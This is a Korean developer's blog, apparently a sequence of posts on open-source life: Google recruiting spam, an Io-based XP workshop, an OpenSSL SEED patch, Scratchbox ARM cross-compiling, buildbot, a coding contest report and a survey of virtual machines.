"저는 구글에서 일하고 있는 누구입니다. 구글에서 일하는 것이 관심 있으시면 저에게 알려주세요." 작년부터 오픈소스 메일링 리스트 곳곳에서 볼 수 있는 이제는 흔한 구글의 구인 문구. 작년에는 그래도 기존에 오픈소스 커뮤니티에 적극적으로 참여하고 있던 사람들, 특히 영향력이 있는 유명한 사람들이 자발적으로 올려서 친구들에게 좋은 기회를 제공해 주려고 하는 의도가 강했습니다.

그런데, 얼마 전부터 구글이 사람이 많이 모자랐는지, 광고 대상 커뮤니티의 관례에 대해서 잘 알지 못하는 리크루터들이 메일 양식을 만들어서 이름과 사이트 이름만 바꿔가면서 메일을 돌리고 있고, 심지어 메일링 리스트에 올리는 일까지 발생하고 있습니다. 저도 그동안은 말로만 듣고 있다가 오늘 그 메일을 직접 받게 되었는데, 메일링에서 그런 메일 받았다는 사람들이 많은 것 몰랐으면 괜히 좋아할 뻔 했습니다. 흐흐흐..

구글은 오픈소스 개발자들에게 무작정 스팸 뿌리듯이 구인 광고를 뿌리기 보다는, 정말로 각 개인이 어떤 특징이 있는지 뭐에 관심이 있는지, 각 커뮤니티의 특성이 어떤지를 파악한 다음에 좀 더 덜 스팸스럽게 보내는 정도의 성의를 보여야 될 것 같습니다. 이렇게 계속 스팸 돌리듯 돌려서, 길고 따분하기로 유명한 구글 인터뷰 과정을 거친 다음에 탈락했다는 사람들이 대량으로 나오면 안 좋은 인상이 제곱이 되지 않을까 싶군요. 지금 취하는 형식으로는 "대출승인 안 되신 분 다시 신청 받습니다", "한의사의 꿈 당신도 이룰 수 있습니다" 이런 메일들과 얼마나 차이가 있을까요..

이번 주 초부터 1주일간의 일정으로 『생물정보학 소프트웨어 개발방법 워크샵』을 진행하고 있습니다. 곁에 있으면 하루 종일 배울 것이 솔솔 들어오는 세 분, 김창준, 김형용, 강규영씨와 함께 코치로 참여하고 있는데, 숭실대학교에서 하루종일 하고 있습니다. -O-

시작 전에는 2박 3일 합숙도 다녀오고, 나름대로 준비를 열심히 했지만, 그래도 늘 빠듯한 일정에 쫓기고 피곤한 것이.. 하루 종일 수업하는 초등학교 선생님들 목 아프다고 그러던 것이 이제서야 고마운 생각이 드네요.

제가 참여하지는 않았지만, 지난 번 워크샵까지는 주로 파이썬으로 진행을 했다고 합니다. 그렇지만, 모두가 모르는 언어를 공통으로 새로 배우면서 시작하는 효과를 위해 실험적으로 상당 부분을 Io로 여러 XP 프랙티스를 실습하고 있습니다. 즉, 이미 한국에 28명의 새로운 Io 프로그래머가 탄생한 것! (한국언론식 부풀리기를 약간 이용 -.-;)

저도 Io를 처음 볼 때, 굉장히 서먹서먹한게 괄호, if, Sequence 등 온갖게 다 거슬리다가 차차 적응을 했었는데, 놀랍게도 이번 교육에 참가하시는 참가자분 28명 모두 거의 문법에 대한 설명을 하지 않았음에도 불구하고, 1 페이지짜리 위키에 적은 짧은 가이드를 읽으시면서 순식간에 적응해서 코딩을 하는 장관을 연출하였습니다! 강의실 곳곳을 돌아다니면서 봐도 모든 모니터에 "abcd" println이나 x := (y - z) abc 이런 것 타이핑하고 계신 것 보고 있는게 마치 앨리스가 굴에 들어간 기분이더군요~

돌아오는 버스에서 여러 가지 생각해 보면, 아무래도 모두가 다 모르는 언어라는 점이 크게 작용한 것 같습니다. 만약에 파이썬이나 자바 같은 언어로 했다면, 모르는 분도 있고 아는 분도 있기 때문에, 아는 분은 문법 설명하면 졸리고 지루해지는 감이 있는데, 모르는 분은 또 따라가기 힘들고 옆 사람들이 알고 있다고 생각하면 쉽게 물어보기도 힘들지 않을까 싶네요.

물론, 배우는 분들의 열의에도 매일 놀라고 있습니다. 보통 다른 곳에서 TDD나 리팩토링 얘기를 하는 것을 보고 있으면 듣는 사람들은 대체로 기존의 손에 익숙한 방법과 완전히 다른 것에 적대감까지도 보이기도 하는데, 대부분 분들이 적극적으로 생판 처음보는 언어로 가이드를 대체로 지키면서 하시는 것을 보고 많은 감동을 받았습니다. 저도 앞으로 다음학기에 들을 미적분학-_-과 유기화학-_-, 미생물학-_- 열심히 해야겠다는 다짐을 해 봅니다;;

불여우 빠른 검색 기능을 사용하면 주소창에서 바로 검색어를 입력할 수 있어서 여러모로 편리합니다. 그런데, 구글이나 네이버 검색은 UTF-8을 지원하기 때문에, 쉽게 연결 기능을 정의해서 쓸 수가 있지만 네이버 지식인이나 네이버 사전은 검색어를 EUC-KR로 입력해야지만 받아주기 때문에 그냥은 쓸 수가 없습니다.

그래서, 간단하게 하나 만들어서 쓰고 있던 것을 친구가 물어봐서 공개해 봅니다. 으흐흐. (더 좋은 방법이 있으려나 =3)

• 네이버 지식인: http://openlook.org/cgi-bin/eucredir.cgi?t=naverkin&q=%s
• 네이버 사전: http://openlook.org/cgi-bin/eucredir.cgi?t=naverdic&q=%s
• 연세한국어사전: http://openlook.org/cgi-bin/eucredir.cgi?t=yonsei&q=%s
• 서울지하철공사: http://openlook.org/cgi-bin/eucredir.cgi?t=smrt&q=%s

별 것 아니지만, 직접 돌리고 싶으시면 trac browser에서 다운받아서 쓰세용. 크흐;

가끔 코딩하다 보면 base64_encode 같이 libc나 베이스 라이브러리에 좀처럼 없으면서도 엄청나게 뻔한 함수들을 다른 오픈소스 프로그램에서 뜯어와서 쓰는 일이 있습니다. 프레임워크가 크게 유행하기 전 옛날에 있던 작은 코드들이 필요한 경우, 아주 간단한 매크로가 필요한 경우.. 아니면 어떤 함수를 다른 오픈소스 프로그램들이 어떻게 쓰는가 볼 필요가 있을 때도 많습니다. 주로 이런 경우에 그냥 막연히 구글에서 찾거나 하드에서 grep해 보거나, 패키징 시스템들 변화를 유심히 보는 사람들은 기억을 잘 더듬어 보고 배포 파일을 받아서 풀어 봅니다.

그런데, 좋은 오픈소스 코드 검색엔진이 있군요~ 언어와 라이선스를 선택하면 제한해서 검색할 수가 있어서, 자기 프로젝트와 같은 라이선스에 맞춰서 검색하면 별도의 라이선스 제약없이 간단한 코드를 따와서 쓸 수도 있고 좋겠네요~ 라이브러리 저자가 사용자들이 어떻게 쓰고 있는지를 볼 수도 있고 좋은 솔루션인 듯 합니다. (그런데, ASP.NET으로 만들었군요 -O-)

얼마 전 KLDP에 올라온 어느 글에 따르면, KBS의 어느 토론 프로그램에 나온 전문가 패널이 자그마치 "소리바다와 같은 오픈소스 운동"이라는 해괴망측한 주장을 했다고 합니다. 이런 심각한 오해가 있기 까지는, 도무지 알아 들을 수 없는 오픈소스 라이선스들이 한 몫을 하지 않았나 생각이 들었습니다. 그래서, 일반인도 알아들을 수 있는 간단하고 쉬운 오픈소스에 대한 설명을 하나 만들어 보았습니다. :)

우선, "소스"란 무엇인가?

오픈소스를 이해하기 위해서는 우선 "소스"가 무엇인지 개념을 알아야 합니다. "소스"는 요리할 때의 요리법이나, 그릇을 만들 때 그릇을 굽는 방법 같이, 사람이 최종적으로 쓰는 것 이전에, 만드는 사람 기준의 재료 같은 개념입니다. "소스"가 중요한 이유는, 요리나 그릇만 딱 보고서 똑같은 요리나 똑같은 그릇을 만드는 것을 간단하지가 많지만, 아무래도 요리법이나 그릇 만드는 법이 적힌 종이를 준다면 똑같은 요리를 만들기가 쉽겠지요. 따라서, 최종 사용자가 쓰는 프로그램을 만들 때, 그 프로그램을 변경하거나 개선하기 위해서는 "소스"가 필요한 것이고, 오픈소스에서는 그 "소스"를 공개하는 것을 가장 기본이 되는 원칙입니다.

그럼 소리바다는 왜 오픈소스가 아닌가?

소리바다는 소스를 공개하고 있지 않을 뿐만 아니라, 프로그램을 마음대로 재배포하거나 변경할 권리를 주지 않습니다. 즉, 요리를 만들어 놓고, 후추를 뿌려서 먹거나 치즈를 얹은 다음에 다른 사람과 나눠 먹는 것도 하면 안 되고, 더군다나 요리법은 더더욱 공개하고 있지 않습니다. 이 부분은 소리바다만 그런 것이 아니라 대부분의 상용 프로그램들은 이런 정책을 취하고 있습니다. 소리바다가 파일 전송을 지원한다는 것은 오픈소스와는 완전히 별개의 일입니다. 오픈소스 프로그램은 합법적인 저작권법 안에서 저작권자들이 자기의 의지에 따라 참여하고 싶을 때 자신이 행사할 수 있는 권리를 가지고 오픈소스로 선언하는 것이지, 아무거나 막 쓰자고 주장하는 것은 아니며 불법과는 거리가 멉니다.

그럼 오픈소스 프로그램을 만드는 사람들은 뭘 먹고 사나?

인터넷에 찾아보면 요리법이 돌아다니고, 친구들에게도 흔쾌히 자기가 맛있는 요리를 할 줄 알면 그 방법을 알려주듯이, 오픈소스는 프로그래머들이 자기 소스를 다른 프로그래머들에게 전달해 주고 같이 쓰는 것에 대해 기쁨을 느끼는 것에서 대체로 시작됩니다. 며느리도 모르는 고추장 만드는 방법을 남에게 알려주면 망한다고 생각하는 고추장 회사들은 나름대로 만드는 방법을 공개하지 않으려 할 것이고, 만드는 방법을 알려 줘도 분위기나 포장, 서비스, 추가음식 등으로 충분히 장사가 된다고 생각하는 식당들은 기쁘게 남에게 알려줄 것입니다. 오픈소스도 꼭 굳이 회사들이 목숨걸고 전사적으로 도입할 필요가 없습니다. 경영적으로 필요하다고 하는 부분은 오픈소스를 하고, 아닌 부분은 안 하고.. 오픈소스"로" 돈을 벌겠다고 하는 기업보다는, 오픈소스를 "하면서" 돈을 버는 기업이 훨씬 더 많습니다.

대표적인 오픈소스 보안 툴킷인 OpenSSL에 금융전산쪽에서 강제적으로 쓰도록 하고 있어서 국내에서 굉장히 많이 쓰이고 있는 SEED (RFC4009) 지원을 넣은 패치를 만들었습니다. (<- "패치"를 누르면 다운로드)

원래는 재작년 쯤에 OpenSSL에 SEED넣는 프로젝트를 소프트웨어진흥원이 발주해서 i모 보안회사와 ㄱ모 대학이 같이 진행한 것이 있었습니다. 이 결과물을 자세히 보면 소스의 원저작자의 저작권을 무시한 심각한 문제가 있고, 업스트림을 바로 하기에는 부족한 점이 꽤 있습니다. 그래서, 저작권 문제를 해결하고, 업스트림을 할 수 있도록 OpenSSL에서 이전에 새로운 싸이퍼가 들어갔을 때의 상황과 거의 똑같은 범위의 작업을 했습니다. 그리고, NexG사에서 지원해 준 x86 어셈블리 구현도 추가해서 속도도 400% 정도로 향상시켰습니다. :) (민수형/미쓰옹 감사합니다! -O-)

이제, 오픈소스에서 가장 중요한 작업인 정치적 문제가 남았는데.. 마침 OpenSSL 홈페이지가 다운됐는지 접속이 전혀 안 돼서 보낼 수가 없군요.. 흐흐. 언제 살아나면 0.9.8b나 0.9.9부터는 SEED를 볼 수 있도록 힘 좀 써 봐야겠습니다. -O-

OpenSSL API에 익숙한 분들께서는 꼭 테스트를 한번씩 해봐주세용; 제가 SSL에는 익숙하지가 않아서 이게 제대로 도는지 알 수가 없네요. 크흐 _-_

얼마전에 IRC하다가.. ^.^ 처음부터 시작하지 않으면 영원히 하기 힘든 세 가지..

C 프로그램에서..

• -Wall 옵션 붙이기
• valgrind에서 경고 안 나오게 하기
• i18n/m17n

구식 조직에서 여러 명이 하는 프로젝트에서..

• docstring / doxygen comment 쓰기
• 네이밍 컨벤션 / 코딩 스타일 지키기
• 회귀 테스트 하기

요즘 아르바이트를 하면서 ARM 크로스툴체인이 필요해서 여러 방법을 시도해 봤는데, 역시 크로스 툴체인 세상은 빌드 자체부터 쉽지가 않은게 빡센 뭔가가 느껴지더군요. 파이썬도 아직까지 표준 배포로는 크로스 빌드가 제대로 안 되는 것을 보면~ 흐흐.

그래서 아예 바이너리 패키지는 없는가 한참을 찾아보다가 Scratchbox라는 것을 찾았습니다. 처음에 scratchbox는 단순히 deb가 있어서 우분투에 깔기 좋겠다 하는 생각으로 깔았는데, 생각보다 좀 더 뭔가 멋지구리한 것이었네요.

scratchbox는 툴체인만 묶어놓은 것이 아니라, 바로 누르자마자 개발과 테스트를 할 수 있는 개발환경이었습니다. 처음에 깔고 나서 scratchbox 로그인 프로그램을 실행하면, 환경 설정 화면이 예쁘게 뜨는데, 그 화면에서 툴체인 종류, 에뮬레이터 종류 같은 것들을 설정해 주면 그 다음부터는 로그인할 때 자동으로 크로스 개발환경으로 셸이 떡 하고 뜹니다. 그 다음이 아주 감동인데, 리눅스의 binfmt를 이용해서 qemu-arm과 직접 연결하는 바람에, 완벽하게 타겟 환경과 호스트 환경을 섞어놓은 듯한! 그러니까.. vim, wget, grep 같이 개발 중에 많이 쓰이는 툴들은 모두 호스트 바이너리로 되어있고 uname, python, perl 같이 빌드/테스트에 직접적으로 영향을 미치는 프로그램들은 모두 타겟 바이너리로 돼서 qemu-arm으로 에뮬레이트가 자동으로 됩니다. 그래서, 파이썬처럼 빌드 도중에 빌드된 바이너리를 쓰는 까다로운 빌드 환경도 깔끔하게 크로스빌드가 가능!

(아래의 호스트는 ubuntu-i386 임)

[sbox: ~/seed/orig] > cc -v 2>&1|tail -1
gcc version 3.4.2 (release) (CodeSourcery ARM Q3D 2004)
[sbox: ~/seed/orig] > uname -a
Linux ubuntu 2.6.12-10-386 #1 Fri Nov 18 11:51:02 UTC 2005 arm GNU/Linux
[sbox: ~/seed/orig] > cc -o tseed seed.orig.c seed_*.c test.c
[sbox: ~/seed/orig] > file tseed
tseed: ELF 32-bit LSB executable, ARM, version 1 (ARM), for GNU/Linux 2.0.0, dynamically linked (uses shared libs), not stripped
[sbox: ~/seed/orig] > ./tseed
SEED-CBC encoding: 11.765 Mbytes/second
[sbox: ~/seed/orig] >

노키아에서 리눅스 기반 플랫폼 개발을 위한 프로젝트에서 쓴 것 같은데, FreeBSD 포트에도 하나 이런 걸로 만들어 봄 직하군요. :)

파이썬 메일링 리스트에 팀이 Zope 쪽에 구축한 빌드팜을 보여주면서 자동으로 파이썬 빌드/퇴행검사도 자동으로 할 수 있지 않겠느냐는 글을 올렸습니다. 그래서 빌드봇을 살펴봤는데, Twisted기반으로 구현되어 있는 파이썬 프로그램이군요. :)

프로그램이 여러 플랫폼에서 돌아가야하는 경우에 특히 마이너 플랫폼이 많으면 하나 고쳤다고 막 엉뚱한 플랫폼에서 깨지고 그런 경우가 비일비재합니다. 그래서 구축하는 것이 FreeBSD의 PointyHat이나 도시락 같은 빌드팜이나 테스트팜들인데, 충분한 클러스터를 갖추고 있는 곳이라면야 이렇게 할 수 있겠지만, 개인적으로 별의 별 플랫폼을 다 지원하려면 돈이 이만 저만 드는 것이 아닙니다.

그래서, buildbot에서는 슬레이브가 정규화된 프로토콜로 분산될 수 있는 형태로 구축이 되었는데, 마스터만 하나 구축해 놓으면, 슬레이브는 자기 시스템에 계정을 따로 만들어줄 필요 없이 직접 보고해서 중앙에 로그나 성공 여부 같은 것을 알 수 있도록 하는 구조로 되어있습니다. 그래서, 희한한 플랫폼을 쓰는 사람들이 울분을 토로하고 싶을 때 빌드봇을 돌려주면 좋을 것 같군요.. :)

Zope buildbot과 Twisted buildbot같은 것들이 웹에서 확인할 수 있는 형태로 공개되어 있습니다.

*(U+002A)는 꽤 오래 전부터 와일드카드로 쓰이고 있었는데, 근래에 와서는 검색엔진이나 컴퓨터와 별 관계없는 수업에서도 *가 와일드 카드로 쓰는 것이 종종 목격이 되기 시작했습니다. (와!)

과연 그 유래는 무엇일까! 곰곰히 생각해 보고 이리 저리 생각해본 결과 *의 아스키 코드값에서 그 답을 찾을 수 있었습니다.

>>> ord('*')
42

*의 정체는 삶과 우주와 모든 것에 대한 답, 42였던 것!

(Don't panic! 너무 진지하게 생각하지 마세요 =3=33)

오늘 SoftExpo 2005 부대행사로 열린 오픈소스 데스크탑 컨퍼런스의 부대행사로 (-.- 여러겹;;) OSS 커미터 원정대 모임이 있었습니다. 흐흐흐. 오랜만에 강남 가려니 어찌나 먼지;; 가급적이면 앞으로 강남 모임은 삼가해야하겠다는 생각이 흐흐;;

여러 얘기가 오가는 도중에, 오픈소스 프로젝트에 참가하는 방법을 대학 커리큘럼에서 가르치는 곳은 없냐는 얘기를 어느 분이 꺼내셔서 머디 먼 집에 돌아오는 길에 멍하니 생각해서 실라버스로 한번 만들어봤습니다. :) (시험 전날이라 별게 다 재미있다-.-)

과목명: 오픈소스개발실습

• 기본정보: 3학점, 주2시간 오프라인 강의
• 수강대상: 컴퓨터과학전공 2학년(2학기)
• 수업목표 및 개요: 오픈소스 개발은 비교적 쉽게 참여할 수 있으면서도 여러가지 형태의 진보된 개발 방법을 습득하고 연습할 수 있는 좋은 기회이자, 흥미를 느끼고 지속적으로 기여하는 경우 많은 경험을 할 수 있다. 일반적인 오픈소스 프로젝트들에 여러 형태로 기여하고 참여할 수 있는 방법과 그에 필요한 여러가지 기술들을 소개한다. 그리고, 실제로 관심 있는 오픈소스 프로젝트에 참여하여 실습해본다.
• 선수과목: 필수/없음, 권장/C프로그래밍,자료구조,시스템프로그래밍
• 성적평가방법: 중간(실기) 25%, 과제 50%, 퀴즈1회 15%, 수업외 참여 10% (수업기간 내에 있었던 버그보고 등의 관련 메일/URL을 제출)
• 교재 및 참고문헌: 주교재 없음
• 수업 일정:
  • 1주 - 오픈소스의 정의와 소개, 개요
    - 수강신청 확인 및 변경
  • 2주 - 개발 과정 개요
    - 일반휴학 접수 마감
  • 3주 - 버전 컨트롤 시스템: CVS와 Subversion 실습
  • 4주 - 버그 트래킹 시스템: Bugzilla, Trac, GNATS, 메일로 보고하기 실습
  • 5주 - 오픈 소스 라이선스
  • 6주 - 오픈 소스의 특징적 버그 추적 기술, 패치 제출, 스타일의 관례
    - 학기 1/3선, 퀴즈
  • 7주 - More 관례: 빌드, 배포, 버전, 문서화, 기여자 참여 과정, 번역 등
  • 8주 - 중간고사: (실습 시험) 버그 추적, 패치 제출, follow-up
    - 학기 1/2선
  • 9주 - 사례연구: 주요 오픈소스 프로젝트 2가지, 소규모 오픈소스 프로젝트 2가지
    - 수강철회기간, 졸업신청 및 연기신청
  • 10주 - 프로젝트 시작 안내 및 진행 방법 설명
  • 11주 - 진행 상황 발표: 대상 프로젝트 선정과 간단한 프로젝트 소개, 작업할 내용 소개
    - 학기 2/3선
  • 12주 - 진행 상황 발표 및 아이디어 교환: 작업할 내용의 1차 패치를 버그트래커에 제출한 후 그 내용을 소개 (11주 과제)
  • 13주 - 진행 상황 발표: 다른 사람의 패치들에 follow-up한 다음에 개선된 패치를 제출한 후 그 내용을 소개 (12주 과제)
  • 14주 - 진행 상황 발표: 11주에 제출한 자기의 패치에 대한 가급적이면 최종판의 개선된 버전을 제출한 뒤 소개 (13주 과제)
  • 15주 - 프로젝트 최종평가: 자신이 제출한 패치를 적용한 프로그램 스냅샷과 가상의 릴리스 어나운스를 만들어서 제출.
  • 16주 - (없음)
    - 기말고사 기간

으흐흐... 뭐 프로그래밍 실습 같은 비슷한 과목을 대체하는 형태도 좋고.. 그런대로 해볼만 할 것 같기도 해요 =3=33

대안언어축제에서 인기있었던 코너를 분리해서 새로운 행사로 만든 코드레이스를 했습니다. 이번에는 준비기간도 짧고, 학기중이라 자봉분들과 자주 만나지도 못하고 후다다닥해서 막 정신이 없었네요.. 리허설때도 여러가지 했어야 했는데, 학교 시험하고 겹쳐서 당일날 가서야 삽질을.. ㅠ.ㅠ

이번 대회에서는 참가자들의 프로그램에 대한 acceptance test를 계속해서 자동으로 채점을 해야했기 때문에, 자동채점 프로그램과 그를 공시하는 점수판 프로그램이 중요했습니다. 그런데, 그 전까지 특별히 제대로 돌아가는지 테스트도 못해보고 당일 아침에 별의 별 희한한 에러를 다 만나가며 수정하느라 좀 전반부 거의 대부분의 시간을 제대로 진행하지 못한 문제가 있었습니다. 대회가 진행되는 trac과 svn, 해설용 vnc 접속, 점수판, 채점들도 모두 같은 노트북에 세팅했었는데, trac과 점수판이 받아들이는 요청이 엄청나서 로그가 막 우루루루루 올라가는 판에 vncviewer 12개가 떠 있으니까.. 노트북이 로드가 80까지 올라가서 계속 멈추는 바람에 또 난감해하고.. 하여간 여러모로 해설을 할 수 있을 만한 맥락이 조성이 안 돼서 그 부분에 대해서는 정말 아쉬움이 남습니다. 그래서 이 부분에 대해서 다음부터는 해설자는 해설만 계속 하고, 옵저버와 trac/svn/스코어보드 유지를 담당하는 기술적인 자봉을 따로 둬서 해결하는 것으로 뒷풀이 때 의견이 모아졌습니다.

이번 행사에는 C++팀이 4군데, C#팀이 1군데, Python팀이 2군데, Ruby팀이 2군데, Java팀이 2군데 해서 모두 12팀이 참가를 했습니다. 생각보다 C++의 비율이 엄청 높았는데, 처음 기획 때는 동적 언어들이 너무 유리하지 않을까 해서 무척 고심을 해서 동적 언어들이 너무 유리하지 않은 방향으로 가도록 초기 문제를 조정했었습니다. 그 영향인지 동적 언어를 쓰는 팀들이 속도가 C++에 비해서 크게 나지 않았던 것이 약간 아쉽지만, 적당히 평형을 유지했던 것 같습니다. :) 초반기에는 중앙대 동아리에서 단체로 출전한 "밥묵자"라는 팀이 C++로 굉장한 리드를 했었는데, 이 팀에서는 다른 여러 프로그래밍 대회의 경험이 많아서 그런지, 경진대회에 적합한 코드를 빨리 만드는 것을 잘했습니다. 그런데, 후기에 타입이 여러가지로 늘어나거나 evaluation 규칙이 바뀌는 등의 기존의 디자인을 벗어나는 요구사항들이 나오기 시작하자, 역시 경진대회를 많이 연습한 팀인 연대의 "액션가면사주세요"가 엄청나게 유연한 C++ 코드를 무기로 계속 만점가도를 달려서 결국 우승하게 되었습니다.

김형용님께서 찍으신 사진입니다.

기획하던 단계에서의 생각은, 아무래도 요구사항이 많이 바뀌는데다가, 알고리즘이 크게 어려운 것이 필요한 문제가 없고 거의 디자인 문제였기 때문에 경진대회 준비팀들이라고 특별히 유리할 것은 없다고 생각했었습니다. 그런데 아무래도 문제를 빨리빨리 풀고, 발생하는 난관들을 잽싸게 해결하는 부분에서 경진대회팀들이 많이 익숙해 있어서 유리하지 않았나 싶네요. 2위를 한 "Effect"팀은 독특하게도 C#으로 출전하셨는데, MonoDevelop을 굉장히 익숙하게 다루시는 모습이 아주 인상적이었습니다. 1위가 C++이고 2위가 C#이라니 정말 충격이지요.. -O-;

다른 팀들도 다들 잘 해주셨는데, 문제 출제에서 약간 문제가 있어서 초기에 너무 요구사항들이 한꺼번에 나가서 상당히 혼란스러웠음에도 불구하고 금방 적응하고 빨리빨리 해결하고 그러셔서 적지않이 놀랐습니다. 역시 코딩 고수이 이렇게 많구나!

이제, 코드레이스 준비는 다 끝났으니(-O-;;;;), 본격적으로 다음엔 재미있는 코드레이스가 될 수 있을 것 같습니다. 좀 더 좋은 코드레이스를 위해 창준형이 말한 두가지가 집에 오는 길에 계속 생각이 났습니다. 아직 마땅한 좋은 생각은 없지만~ 계속 생각해 봐서 2회는 더욱 좋은 대회로.. :-)

• 1,2위 팀 뿐만 아니라 모두가 집에 가면서 나도 이겼다 하는 생각을 갖고 돌아갈 수 있게 하는 방법은 없을까
• 축구나 야구처럼 선수들이 재미있기 보다는 관객들이 즐길 수 있고 배울 수 있는 흥미로운 대회를 만들 수는 없을까

몇가지 대회 자료입니다. (여기 있는 것 외의 trac 안의 데이터 등은 곧 소프트웨어진흥원 홈페이지에 공개될 예정입니다.)

• 참가자 소스 저장고 (svn co 명령으로 접근 가능합니다.)
• 요구사항 세트
• 팀 좌석 배치도 및 팀원 명단
• 점수판 프로그램 소스
• 채점 프로그램 소스
• 최종 채점표
• 최종 순위별 점수판

틀린 부분을 찾으시면 알려주세요. :)

최근 몇년새에 CPU가 하도 빨라져서 그런지, 범용VM이 트렌드로 떠오르고 있는 듯 합니다. 90년대 말의 Java의 유행의 뒤를 이어서 .NET(ECMA CLI)가 여러 언어들이 동시에 통합된 인터페이스로 라이브러리를 공유하는 것을 VM의 주요 특징으로 뽑아내기 시작한 것이 대중적으로는 그 시초라고 볼 수 있겠습니다. 한동안 GNU lightning이나 Psyco같은 VM을 포함하지 않은 JIT 시스템이 뭔가 비전을 제시해줄 것만 같았지만, 결국엔 JIT에서 높은 효율을 내기 위해서 빠질 수 없는 타입 인퍼런스, 메모리 참조 단축, 가비지 컬렉션 같은 것 때문에, 돌아가는 상황을 완전히 제어할 수 있는 VM 수준의 것이 있어야 안정하게 좋은 성능을 낼 수 있었기에 결국은 이렇게 범용 VM의 유행이 왔을 것이라고 봅니다.

Parrot

오픈소스 범용VM으로 처음 알려지기 시작한 것은 아무래도 parrot이라고 할 수 있겠습니다. parrot은 스크립트 언어를 위한 범용VM을 표방하고, 인스트럭션들을 굉장히 스크립트 언어의 주요 작업들에 직관적으로 대응될 수 있을 정도로 간단한 환경을 만들어 주었습니다. 그렇지만, 너무 원대한 꿈을 꾸면서 만든터라, 새로운 아키텍처로의 이식이 다른 VM들에 비해서 쉽지 않고, 내부적인 구조가 너무 어려워서 처음 보는 사람들이 길을 잃어버리기 좋은 환경이라 새로운 개발자의 참여가 적어서 결국은 지금의 상태처럼 다른 사람들은 베이퍼웨어라고 부르지만, 자기들은 곧 릴리스한다고 우기는 상태가 된 것 같습니다.

Mono

그 다음으로 뜬 범용VM은 Mono라고 할 수 있겠는데, 물론 Mono는 ECMA CLI의 스펙을 구현한 것이기 떄문에 VM의 디자인은 독창적인 것은 아니지만 Microsoft제품과의 호환성을 충분히 확보함으로써, 일단은 사용자 뿐만 아니라 개발자들의 관심을 많이 얻었습니다. Mono는 Parrot이 헤메는 과정을 어느정도 보고 나서 개발이 되었기 때문에, 초기부터 너무 큰 꿈을 그리는 것보다 돌아가는 작은 것들을 엮어놓고 나중에 좋은 것으로 부분 부분을 교체하는 방식으로 발전이 되어 와서 결과적으로 쓸만한 것이 나오는 시간이 훨씬 적게 들었고, 그에 따라 지금과 같은 성공을 거둘 수 있었습니다. Mono는 가비지 콜렉터로 boehm-gc를 쓰고 있는데, 이게 겉으로나 소스에서나 보이는 것에 비해서 훨씬 포터블하지가 못합니다. 포팅하기도 쉽지가 않고요.. 그래서, 결국은 Mono는 마이너 플랫폼에 포팅할 때 boehm-gc가 상당한 걸림돌인데, 곧 Mono에서 자체적으로 만든 gc를 도입한다고 하니까 기대를 걸만 하겠습니다. :)

LLVM

LLVM은 2002년 정도부터 다른 VM들과는 달리 최적화를 위한 플랫폼이 주요 목적으로 개발되었습니다. 이 VM을 만든 사람은 석사,박사학위 논문의 주제로 LLVM을 썼는데, 박사학위 논문은 "광범위 데이터 구조 분석과 최적화"라는 제목인데, 그에 걸맞게 LLVM은 머신 코드를 실행하면서 데이터 구조적으로 발생하는 여러가지 최적화 가능 지점들을 자동으로 발견해서 최적화를 수행합니다. 대표적인 예로 strcat의 두번째 인자로 변하지 않는 스트링 상수가 들어가는 경우에 memcpy로 교체해버리는 것이 있는데, 이런 것이 컴파일타임에 수행되는 경우 상당한 부작용을 유발할 수도 있다는 점을 생각해 보면, valgrind같이 틈새시장을 굉장히 잘 노린 기발한 착상이라고 할 수 있겠습니다.

LLVM은 valgrind처럼 머신코드를 직접 받아주는 것은 아니고, LLVM의 바이트코드로 생성된 코드를 만들어주는 C/C++ 등의 컴파일러를 사용해서 컴파일하면 그 코드를 실행하면서 분석하고 최적화를 해 주게 되어있는데, 최적화 자료를 토대로 컴파일할 때 아예 머신코드로 컴파일해버리는 기능도 있어서, mono의 머신코드 컴파일러보다도 한단계 더 발전한 것이라고 볼 수 있습니다. LLVM은 현재 PyPy같은 여러 다른 언어 프로젝트에서도 LLVM 코드를 생성하는 기능이 들어가고 있다는 점에서 많은 사용자들을 확보해가고 있어서 앞으로 아주 장래가 기대가 됩니다.

NekoVM

NekoVM은 올해 나온 것이라 다른 것들에 비해서 상대적으로 역사가 짧습니다. NekoVM도 Parrot 만큼이나 굉장히 고수준의 인스트럭션을 갖고 있어서 스크립트 언어를 만들기가 굉장히 간단하게 되어 있습니다. 그리고, NekoVM은 VM 코드가 라이브러리 코드로 단지 50KB 내외밖에 안 된다는 점에서 고속의 실행 코드가 필요한 고수준 도메인 언어에서 뭔가 아주 쓸모가 있어 보입니다. 그런데, NekoVM은 Parrot보다도 더 고수준으로 올라가 있어서 속도를 위해서는 저수준 VM보다는 약간의 희생이 있고, 런타임 최적화를 수행하지 않기 때문에, 장기간 돌더라도 크게 빨라지지는 않습니다. 게다가, 라이선스가 다른 VM과는 달리 GPL이 적용되어 있기 때문에, 기업 사용자들이나 X11/BSD 계열 라이선스를 쓰는 오픈소스 프로젝트들에게 어필하기가 어렵다는 점이 걸림돌로 작용합니다. 만약 GPL을 감수할 수 있는 환경이라면 특히 웹 애플리케이션의 템플릿용 언어로는 굉장한 효율을 발휘할 수 있을 것 같네요.

이제 VM이 이렇게 점점 늘어감에 따라서, 새로운 언어를 만들거나 독특한 동적 실행환경을 만들기에는 점점 좋아지고 있습니다. DSL(Domain Specific Language)로 프로그램 내부에 스크립팅 기능을 추가하면서도 빠른 속도를 유지할 수 있고, 여러가지 다른 언어들을 하나의 VM 위에서 서로 호출하고 참조할 수 있다는 점에서 옛날 패러다임과는 다른 색다른 시도를 할 여지가 많아지고 있는 것 같아서 기대가 됩니다! :)

알림: 이 외에도 GNU Portable .NET이나 여러 오픈소스 JVM들이 있겠지만, 거기는 관심이 없어서 자세히 안 본터라 안 적었습니다. =3=3

다음 주 토요일에 공개SW 개발자 경진대회라는 이름으로 지난 대안언어축제 때 인기를 누렸던 코너 코드레이스가 다시 열립니다. 이번에는 코드레이스만 독립해서 하기 때문에, 시간도 넉넉하고 준비도 어느 정도 완결된 상태에서 진행될 것 같아서 손에 땀을 쥐는 대회가 아닐까 합니다. 상금도 많고요~ -O-;

선수 참가 조건은 이렇게 되어 있습니다.

• 최소 2인 이상 최대 6인 이하 팀
• 개발시 대회장에서 제공되는 리눅스 환경의 컴퓨터를 사용해야 함
• 상용 소프트웨어를 개발 도구로 사용할 수 없음

